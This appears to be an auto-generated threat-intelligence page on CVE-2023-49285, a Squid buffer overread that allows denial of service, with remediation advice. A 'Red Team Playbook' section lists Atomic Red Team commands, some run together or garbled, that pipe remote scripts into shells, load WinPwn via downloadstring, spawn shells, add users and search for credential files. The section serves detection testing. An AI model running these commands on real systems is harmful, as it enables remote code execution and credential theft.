CVE-2023-49285
Overview
This vulnerability is a buffer overread occurring within the HTTP message processing component of the Squid caching proxy. The root cause lies in improper bounds checking during parsing of HTTP messages, leading to access beyond allocated buffer limits. The flaw affects Squid's handling of incoming HTTP requests, specifically within its message parsing routines.
Vulnerability Description
Squid is a caching proxy for the Web supporting HTTP, HTTPS, FTP, and more. Due to a Buffer Overread bug Squid is vulnerable to a Denial of Service attack against Squid HTTP Message processing. This bug is fixed by Squid version 6.5. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Impact
An unauthenticated remote attacker can exploit this vulnerability to cause a denial of service by crashing the Squid proxy process due to the buffer overread during HTTP message parsing. This results in service disruption of the caching proxy, affecting availability. The attack requires only network access to the Squid proxy and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N.
Solution
Users should upgrade Squid to version 6.5 or later, where the buffer overread issue has been addressed. Detailed patch information and remediation instructions are provided in the Squid security advisory GHSA-8w9r-p88v-mmx9 available at https://github.com/squid-cache/squid/security/advisories/GHSA-8w9r-p88v-mmx9. No known workarounds exist, making timely upgrading critical to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the caching proxy software Squid arises from a buffer overread issue, which can lead to a Denial of Service (DoS) condition during the processing of HTTP messages. This flaw occurs when the application attempts to read beyond the allocated buffer, potentially exposing sensitive data or causing the application to crash. Specifically, the buffer overread can disrupt the normal flow of data processing, leading to resource exhaustion and rendering the service unavailable to legitimate users. The issue is particularly concerning given Squid's widespread use in web caching and proxy services, where it plays a critical role in optimizing web traffic and improving performance.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving crafted HTTP requests that trigger the buffer overread condition. An attacker could send specially designed messages to the Squid proxy, manipulating the way the application processes these requests. By continuously sending such malicious payloads, an attacker can overwhelm the proxy server, causing it to become unresponsive. This exploitation can be executed remotely, making it accessible to threat actors without requiring physical access to the network. Additionally, the lack of known workarounds amplifies the risk, as organizations are left with limited options to mitigate the threat until they can apply the necessary updates.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on Squid for their web traffic management. A successful denial of service attack could lead to prolonged downtime, affecting user access to services and potentially resulting in financial losses. For organizations that depend on uninterrupted web services, the implications can extend beyond immediate revenue loss to include damage to reputation, customer trust, and potential legal ramifications if service-level agreements are breached. Furthermore, the cascading effects of downtime can disrupt internal operations, leading to decreased productivity and increased operational costs as teams scramble to restore service.
To effectively detect and mitigate this vulnerability, organizations should prioritize upgrading to the latest version of Squid, specifically version 6.5, which addresses the buffer overread issue. Regular patch management practices should be employed to ensure that all software components are kept up to date. In addition to upgrading, organizations should implement robust monitoring solutions that can identify unusual traffic patterns or spikes in requests that may indicate an ongoing attack. Intrusion detection systems (IDS) can be configured to alert administrators of potential exploitation attempts, allowing for timely intervention. Network segmentation and access controls can also help limit the exposure of the proxy server, reducing the attack surface and minimizing the potential impact of a successful exploit.
In conclusion, the buffer overread vulnerability in Squid poses a serious threat to the availability and reliability of web services that depend on this caching proxy. The potential for denial of service attacks highlights the need for organizations to remain vigilant in their cybersecurity practices, ensuring timely updates and employing effective monitoring and response strategies. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats and maintain the integrity of their web services.
CSURFACE threat intelligence has identified a measurable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-49285, reflecting a growing likelihood of exploitation attempts targeting the Squid caching proxy vulnerability. Although no new exploit code or active campaigns have been detected by our telemetry, the upward trend in EPSS—now approaching the 0.1 threshold—signals heightened attacker interest or improved exploit feasibility. This subtle but consistent rise in risk metrics suggests that threat actors may be preparing or refining methods to leverage the buffer overread flaw for denial of service attacks. For defenders, this evolving risk profile underscores the importance of maintaining vigilance around Squid deployments, as the vulnerability’s exploitation potential is becoming more pronounced. While the absence of confirmed exploit activity tempers immediate alarm, the increased EPSS score warrants close monitoring to detect any emergent exploitation attempts promptly. Overall, the threat level for CVE-2023-49285 should be considered elevated relative to prior assessments, reflecting a moderate but growing risk that could impact service availability if exploited.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
S
|
Squid-Cache | Squid | All |
cpe:2.3:a:squid-cache:squid:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpanuname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'busybox sh &echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutputiex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutputiex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractiveiex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractiveiex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutputDetection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.